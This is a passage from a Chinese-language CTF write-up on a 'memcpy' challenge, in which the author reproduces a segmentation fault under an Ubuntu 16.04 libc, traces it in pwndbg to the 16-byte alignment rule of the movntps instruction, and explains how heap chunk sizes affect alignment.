</span></span><span class="line"><span class="ln">13</span><span class="cl">ok, lets run the experiment with your configuration
</span></span><span class="line"><span class="ln">14</span><span class="cl">experiment 1 : memcpy with buffer size 10
</span></span><span class="line"><span class="ln">15</span><span class="cl">ellapsed CPU cycles for slow_memcpy : 2382
</span></span><span class="line"><span class="ln">16</span><span class="cl">ellapsed CPU cycles for fast_memcpy : 352
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">experiment 2 : memcpy with buffer size 20
</span></span><span class="line"><span class="ln">19</span><span class="cl">ellapsed CPU cycles for slow_memcpy : 454
</span></span><span class="line"><span class="ln">20</span><span class="cl">ellapsed CPU cycles for fast_memcpy : 510
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">experiment 3 : memcpy with buffer size 40
</span></span><span class="line"><span class="ln">23</span><span class="cl">ellapsed CPU cycles for slow_memcpy : 764
</span></span><span class="line"><span class="ln">24</span><span class="cl">ellapsed CPU cycles for fast_memcpy : 736
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl">experiment 4 : memcpy with buffer size 80
</span></span><span class="line"><span class="ln">27</span><span class="cl">ellapsed CPU cycles for slow_memcpy : 1488</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">text</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>不知道为什么卡在第四个实验，明明都是符合条件的。代码开头给了编译指令，这里编译，并且运行，发现是正常的。难道本地编译器做了优化吗？<code>Dockerfile</code>和<code>super.pl</code>都是部署靶机环境的，排查发现，靶机是ubuntu 22.04，而目标是ubuntu 16.04编译的。</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">memcpy@ubuntu:~$ lsb_release -a
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">No LSB modules are available.
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">Distributor ID: Ubuntu
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">Description:    Ubuntu 22.04.5 LTS
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">Release:        22.04
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">Codename:       jammy
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">memcpy@ubuntu:~$ head -n 1 Dockerfile 
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">FROM ubuntu:16.04
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>我物理机是windows，用了各种方法用16.04的libc编译都不成功，只好新建虚拟机，编译完如下：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">u@ubuntu:~/Desktop/test$ ./memcpy 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">Hey, I have a boring assignment for CS class.. :(
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">The assignment is simple.
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">-----------------------------------------------------
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">- What is the best implementation of memcpy?        -
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">- 1. implement your own slow/fast version of memcpy -
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">- 2. compare them with various size of data         -
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">- 3. conclude your experiment and submit report     -
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">-----------------------------------------------------
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">This time, just help me out with my experiment and get flag
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">No fancy hacking, I promise :D
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">specify the memcpy amount between 8 ~ 16 : 10
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="go">specify the memcpy amount between 16 ~ 32 : 20
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">specify the memcpy amount between 32 ~ 64 : 40
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">specify the memcpy amount between 64 ~ 128 : 80
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">specify the memcpy amount between 128 ~ 256 : 200
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">specify the memcpy amount between 256 ~ 512 : 400
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">specify the memcpy amount between 512 ~ 1024 : 800
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">specify the memcpy amount between 1024 ~ 2048 : 1600
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">specify the memcpy amount between 2048 ~ 4096 : 3200
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">specify the memcpy amount between 4096 ~ 8192 : 5000
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">ok, lets run the experiment with your configuration
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">experiment 1 : memcpy with buffer size 10
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">ellapsed CPU cycles for slow_memcpy : 5104
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">ellapsed CPU cycles for fast_memcpy : 520
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">experiment 2 : memcpy with buffer size 20
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">ellapsed CPU cycles for slow_memcpy : 714
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">ellapsed CPU cycles for fast_memcpy : 828
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">experiment 3 : memcpy with buffer size 40
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">ellapsed CPU cycles for slow_memcpy : 812
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">ellapsed CPU cycles for fast_memcpy : 832
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">experiment 4 : memcpy with buffer size 80
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">ellapsed CPU cycles for slow_memcpy : 1430
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">Segmentation fault (core dumped)
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">u@ubuntu:~/Desktop/test$ ldd memcpy
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">	linux-gate.so.1 =&gt;  (0xf7f42000)
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="go">	libm.so.6 =&gt; /lib32/libm.so.6 (0xf7ed1000)
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">	libc.so.6 =&gt; /lib32/libc.so.6 (0xf7d1d000)
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="go">	/lib/ld-linux.so.2 (0xf7f44000)
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>出现了段错误，卡在第四个实验，与远程环境一致。</p>
<blockquote>
<p>这里如果把16.04上编译的程序放到靶机或者自己的22.04上会发现程序正常，因为程序是动态链接，22.04的libc优化了这个错误。</p>
<p>所以编译的时候加上<code>-static</code>参数，这样程序就把16.04的libc编写进去。于是在高版本机器上也可以复现错误了。</p>
<p>如果不用这种方法，可以通过<code>patchelf</code>来修改二进制程序的链接加载，但是需要手动指定旧版本libc的路径。</p>
</blockquote>
<p>{: .prompt-tip }</p>
<p>gdb运行到错误的地方，如下：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go"> ► 0x80488ed &lt;fast_memcpy+52&gt;    movntps xmmword ptr [edx], xmm0
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">   0x80488f0 &lt;fast_memcpy+55&gt;    movntps xmmword ptr [edx + 0x10], xmm1
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">   0x80488f4 &lt;fast_memcpy+59&gt;    movntps xmmword ptr [edx + 0x20], xmm2
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">   0x80488f8 &lt;fast_memcpy+63&gt;    movntps xmmword ptr [edx + 0x30], xmm3
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>查到<code>movntps</code>：</p>
<blockquote>
<p>使用非临时提示将源操作数（第二个操作数）中的压缩单精度浮点值移动到目标操作数（第一个操作数），以防止在写入内存时对数据进行缓存。源操作数为 XMM 寄存器、YMM 寄存器或 ZMM 寄存器，假定其中包含压缩单精度浮点值。目标操作数为 128 位、256 位或 512 位的内存位置。内存操作数必须按 16 字节（128 位版本）、32 字节（VEX.256 编码版本）或 64 字节（EVEX.512 编码版本）边界对齐，否则将产生通用保护异常 (#GP)。
<a
  href="https://www.felixcloutier.com/x86/movntps" rel="nofollow noopener noreferrer" target="_blank"
  >https://www.felixcloutier.com/x86/movntps<span style="user-select:none"> ↗</span></a
>

{: .prompt-info }</p>
</blockquote>
<p>MOVNTPS的错误码释义：
<a
  href="https://c9x.me/x86/html/file_module_x86_id_197.html" rel="nofollow noopener noreferrer" target="_blank"
  >https://c9x.me/x86/html/file_module_x86_id_197.html<span style="user-select:none"> ↗</span></a
>
</p>
<table>
	<thead>
			<tr>
					<th>错误码</th>
					<th>释义</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>#GP(0)</td>
					<td>For an illegal memory operand effective address in the CS, DS, ES, FS or GS segments. If a memory operand is not aligned on a 16-byte boundary, regardless of segment.</td>
			</tr>
			<tr>
					<td>#SS(0)</td>
					<td>For an illegal address in the SS segment.</td>
			</tr>
			<tr>
					<td>#PF(fault-code)</td>
					<td>For a page fault.</td>
			</tr>
			<tr>
					<td>#NM</td>
					<td>If TS in CR0 is set.</td>
			</tr>
	</tbody>
</table>
<p>注意，movntps只检测dest指针是否对齐，而上一步的movdqa 检测src指针是否对齐。</p>
<p>查看当前指令目标寄存器保存的地址：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">pwndbg&gt; info registers edx
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">edx            0x80f1538           135206200
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>当前指令是xmmword，代表16字节对齐，ymm是32字节对齐，zmm是64字节对齐。为什么需要16字节对齐？因为xmm寄存器就是存16字节数据的，<code>movntps</code> 一次写入 <strong>16字节（128位）</strong>，CPU 为了效率，要求这16字节必须<strong>从一个16倍数的地址开始</strong>：比如<code>0x80f1530</code>，第二块是<code>0x80f1540</code>，SSE 指令集为了极致速度不能跨块。</p>
<p>这里很明显没有16字节对齐，所以解出这道题的关键就是输入大小刚好的块，让开辟的所有chunk都是16字节对齐的。
<a
  href="https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/heap-structure/" rel="nofollow noopener noreferrer" target="_blank"
  >堆相关数据结构<span style="user-select:none"> ↗</span></a
>
</p>
<blockquote>
<p>当一个 <code>chunk</code> 处于使用状态时，它的下一个 <code>chunk</code> 的 prev_size 域无效，所以下一个 <code>chunk</code> 的该部分也可以被当前 chunk 使用。<strong>这就是 chunk 中的空间复用。</strong></p>
</blockquote>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln"> 1</span><span class="cl">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">        |             Size of previous chunk, if unallocated (P clear)  |
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        |             Size of chunk, in bytes                     |A|M|P|
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  mem-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        |             User data starts here...                          .
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        .                                                               .
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        .             (malloc_usable_size() bytes)                      .
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">next    .                                                               |
</span></span><span class="line"><span class="ln">10</span><span class="cl">chunk-&gt; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
